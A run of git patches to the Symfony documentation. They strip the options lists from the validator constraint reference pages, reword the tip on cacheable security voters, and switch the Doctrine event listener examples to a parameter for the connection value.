diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 8a054e6bbb9..a71afd9aacf 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -7,11 +7,6 @@ the options. To force that a value is greater than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index aa3caeb67f8..93448fc7cf3 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -8,9 +8,6 @@ borders with a reduced risk of propagating transcription errors.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Iban`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IbanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 10f1fb52342..1cae257d71f 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 8ab714db79b..5d40ae48c51 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -13,35 +13,6 @@ of the documentation on this constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowLandscape`_
-            - `allowLandscapeMessage`_
-            - `allowPortrait`_
-            - `allowPortraitMessage`_
-            - `allowSquare`_
-            - `allowSquareMessage`_
-            - `corruptedMessage`_
-            - `detectCorrupted`_
-            - `groups`_
-            - `maxHeight`_
-            - `maxHeightMessage`_
-            - `maxPixels`_
-            - `maxPixelsMessage`_
-            - `maxRatio`_
-            - `maxRatioMessage`_
-            - `maxWidth`_
-            - `maxWidthMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `minHeight`_
-            - `minHeightMessage`_
-            - `minPixels`_
-            - `minPixelsMessage`_
-            - `minRatio`_
-            - `minRatioMessage`_
-            - `minWidth`_
-            - `minWidthMessage`_
-            - `sizeNotDetectedMessage`_
-            - See :doc:`File </reference/constraints/File>` for inherited options
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Image`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ImageValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index daf84496fe8..2ae0cea89f7 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -7,11 +7,6 @@ IPv6 and many other combinations.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ip`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IpValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 515f5635172..9c5ebba27af 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -9,9 +9,6 @@ Also see :doc:`IsTrue <IsTrue>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsFalse`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsFalseValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 2bded13311d..7589176aab3 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -9,9 +9,6 @@ Also see :doc:`NotNull <NotNull>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsNullValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index aa172153e9f..481f4d8335f 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -8,9 +8,6 @@ Also see :doc:`IsFalse <IsFalse>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsTrue`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsTrueValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index d67f0605144..e1f33fffee7 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -6,13 +6,6 @@ is either a valid ISBN-10 or a valid ISBN-13.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `bothIsbnMessage`_
-            - `groups`_
-            - `isbn10Message`_
-            - `isbn13Message`_
-            - `message`_
-            - `payload`_
-            - `type`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 87c9468ac12..eec8d06df49 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -6,11 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `caseSensitive`_
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireHyphen`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Issn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 8eafb6c4de6..4c58a76ae61 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -5,8 +5,6 @@ Validates that a value has valid `JSON`_ syntax.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Json`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 70d1e2e51cc..65bbd0ffb81 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -6,9 +6,6 @@ Validates that a value is a valid language *Unicode language identifier*
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Language`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LanguageValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 0d0fe42486d..4aece859f54 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,17 +5,6 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
-            - `charsetMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Length`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..05379bffc52 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/GreaterThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 42ec3e939e5..38906c6af07 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -7,11 +7,6 @@ options. To force that a value is less than another value, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index d3d2dc8225d..a6184df42c6 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -10,10 +10,6 @@ followed by an underscore (``_``) and the `ISO 3166-1 alpha-2`_ *country* code
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `canonicalize`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Locale`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LocaleValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 6d322349da4..4bacaab135b 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -7,9 +7,6 @@ card: before communicating with a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Luhn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LuhnValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index f9850ba8da2..2bad8294cc4 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,9 +11,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index a10bb15ba6a..caddc15cf1d 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,9 +10,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 16e07a3ae0b..20712aed7b5 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -8,11 +8,6 @@ that a value is not equal to ``null``, see the
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowNull`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotBlank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotBlankValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 28fd604298c..01d2640edd4 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -10,11 +10,6 @@ not included in any of the public data breaches tracked by `haveibeenpwned.com`_
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `skipOnError`_
-            - `threshold`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPassword`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotCompromisedPasswordValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index e1436657ae8..88263202cfe 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -13,11 +13,6 @@ options. To force that a value is equal, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotEqualToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 66ccb871670..3171bc12bcc 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -13,11 +13,6 @@ the options. To force that a value is identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotIdenticalToValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 2c548b2eb3e..4ab8fc2928e 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -7,9 +7,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NotNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NotNullValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index d5e78ba387f..5beab44d69e 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,9 +11,6 @@ want to allow zero as value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index c2724c89753..175f2a44cbe 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,9 +10,6 @@ want to allow zero as value, use :doc:`/reference/constraints/Positive` instead.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 5c148c78b0f..50342bdd3c7 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -5,16 +5,6 @@ Validates that a given number or ``DateTime`` object is *between* some minimum a
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `invalidMessage`_
-            - `max`_
-            - `maxMessage`_
-            - `maxPropertyPath`_
-            - `min`_
-            - `minMessage`_
-            - `minPropertyPath`_
-            - `notInRangeMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Range`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RangeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index c3b9a9bd5c6..be8a1361d4d 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -5,13 +5,6 @@ Validates that a value matches a regular expression.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `htmlPattern`_
-            - `match`_
-            - `message`_
-            - `pattern`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Regex`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\RegexValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index a8e362d22dc..d8c41bf00e0 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -6,9 +6,6 @@ be cast into a string) that follows a valid ``HH:MM:SS`` format.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Time`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 3725038f0d8..14d18d88bf4 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -9,12 +9,6 @@ Validates that a value is a valid timezone identifier (e.g. ``Europe/Paris``).
 
 ==========  ======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `countryCode`_
-            - `groups`_
-            - `intlCompatible`_
-            - `message`_
-            - `payload`_
-            - `zone`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Timezone`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TimezoneValidator`
 ==========  ======================================================================
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 99449d12999..72c71f4380f 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -8,8 +8,6 @@ constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `payload`_
-            - :ref:`traverse <traverse-option>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Traverse`
 ==========  ===================================================================
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 17ee98fec78..7c7137c4734 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -7,10 +7,6 @@ option to validate this.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - :ref:`type <reference-constraint-type-type>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Type`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 9d9cc0ffed2..56a6c936d6e 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -19,9 +19,6 @@ are considered different elements (a string and an integer, respectively).
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index f96d6d91b47..636b06d21ae 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -17,15 +17,6 @@ using an email address that already exists in the system.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
-Options     - `em`_
-            - `entityClass`_
-            - `errorPath`_
-            - `fields`_
-            - `groups`_
-            - `ignoreNull`_
-            - `message`_
-            - `payload`_
-            - `repositoryMethod`_
 Class       :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntity`
 Validator   :class:`Symfony\\Bridge\\Doctrine\\Validator\\Constraints\\UniqueEntityValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index ac230890a9a..ed06d6f22fd 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -5,14 +5,6 @@ Validates that a value is a valid URL string.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `checkDNS`_
-            - `dnsMessage`_
-            - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `protocols`_
-            - `relativeProtocol`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Url`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UrlValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 208281df216..77af3e44a39 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -17,9 +17,6 @@ password, but needs to enter their old password for security.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPassword`
 Validator   :class:`Symfony\\Component\\Security\\Core\\Validator\\Constraints\\UserPasswordValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 9dbde3b3ce5..1eb93fd4407 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -8,12 +8,6 @@ UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `strict`_
-            - `versions`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Uuid`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UuidValidator`
 ==========  ===================================================================
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 49846d3fb39..2e01910dee5 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -7,9 +7,6 @@ an object and all sub-objects associated with it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
-            - `traverse`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Valid`
 ==========  ===================================================================
 

From 8700a11c079dfb65a842bfc92be792e5aa06b737 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 12:44:46 +0200
Subject: [PATCH 1302/5766] Remove options in new constraints too

---
 reference/constraints/CssColor.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 8f62ed3e531..dc216c7422c 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -10,10 +10,6 @@ casted to a string before being validated.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `formats`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
 ==========  ===================================================================

From bf1e1c73e32a90b62bb2a81e2be33d494d554bf5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 13:03:26 +0200
Subject: [PATCH 1303/5766] Minor tweaks

---
 security/voters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index d8457e066cd..87b5249e996 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -65,10 +65,10 @@ which makes creating a voter even easier::
 .. tip::
 
     Checking each voter several times can be time consumming for applications
-    that perform a lot of permission checks. However, when a voter implements
-    the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`,
-    the access decision manager, will remember the attribute and type of subject
-    supported by the voter, and will, next, only call the involved voters.
+    that perform a lot of permission checks. To improve performance in those cases,
+    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+    This allows the access decision manager to remember the attribute and type
+    of subject supported by the voter, to only call the needed voters each time.
 
     .. versionadded:: 5.4
 

From a92b139b65ab235b19fb01d2c7e6526444e07ef9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 13:03:56 +0200
Subject: [PATCH 1304/5766] Remove the versionadded directive

---
 security/voters.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 26e2c332234..71ccb8b2f7c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -70,10 +70,6 @@ which makes creating a voter even easier::
     This allows the access decision manager to remember the attribute and type
     of subject supported by the voter, to only call the needed voters each time.
 
-    .. versionadded:: 5.4
-
-        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
-
 Setup: Checking for Access in a Controller
 ------------------------------------------
 

From 5d7687f208bc339aae3b943a6c2bd92babc0ee78 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Wojciech=20B=C5=82oszyk?= <wbloszyk@gmail.com>
Date: Sat, 30 Oct 2021 12:48:10 +0200
Subject: [PATCH 1305/5766] Parameter as connection value in doctrine tags

---
 doctrine/events.rst | 22 ++++++++++++++++------
 1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 3a964dc5ea3..282b91e47ad 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -171,7 +171,8 @@ with the ``doctrine.event_listener`` tag:
                         priority: 500
 
                         # you can also restrict listeners to a specific Doctrine connection
-                        connection: 'default'
+                        # '%doctrine_default_connection%' = 'default'
+                        connection: '%doctrine_default_connection%'
 
     .. code-block:: xml
 
@@ -187,12 +188,13 @@ with the ``doctrine.event_listener`` tag:
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
+                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\SearchIndexer">
                     <tag name="doctrine.event_listener"
                         event="postPersist"
                         priority="500"
-                        connection="default"/>
+                        connection="%doctrine_default_connection%"/>
                 </service>
             </services>
         </container>
@@ -218,7 +220,8 @@ with the ``doctrine.event_listener`` tag:
                     'priority' => 500,
 
                     # you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
+                    # '%doctrine_default_connection%' = 'default'
+                    'connection' => '%doctrine_default_connection%',
                 ])
             ;
         };
@@ -439,7 +442,8 @@ Doctrine connection to use) you must do that in the manual service configuration
                       priority: 500
 
                       # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
+                      # '%doctrine_default_connection%' = 'default'
+                      connection: '%doctrine_default_connection%'
 
     .. code-block:: xml
 
@@ -454,9 +458,10 @@ Doctrine connection to use) you must do that in the manual service configuration
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
+                    *               '%doctrine_default_connection%' = 'default'
                 -->
                 <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                    <tag name="doctrine.event_subscriber" priority="500" connection="%doctrine_default_connection%"/>
                 </service>
             </services>
         </container>
@@ -478,7 +483,8 @@ Doctrine connection to use) you must do that in the manual service configuration
                     'priority' => 500,
 
                     // you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
+                    # '%doctrine_default_connection%' = 'default'
+                    'connection' => '%doctrine_default_connection%',
                 ])
             ;
         };
@@ -487,6 +493,10 @@ Doctrine connection to use) you must do that in the manual service configuration
 
     Subscriber priority was introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    Parameter as connection value was introduced in Symfony 5.4.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From 233beab84c781ea1a167832e03b3e7ccb888f881 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 30 Oct 2021 15:56:47 +0200
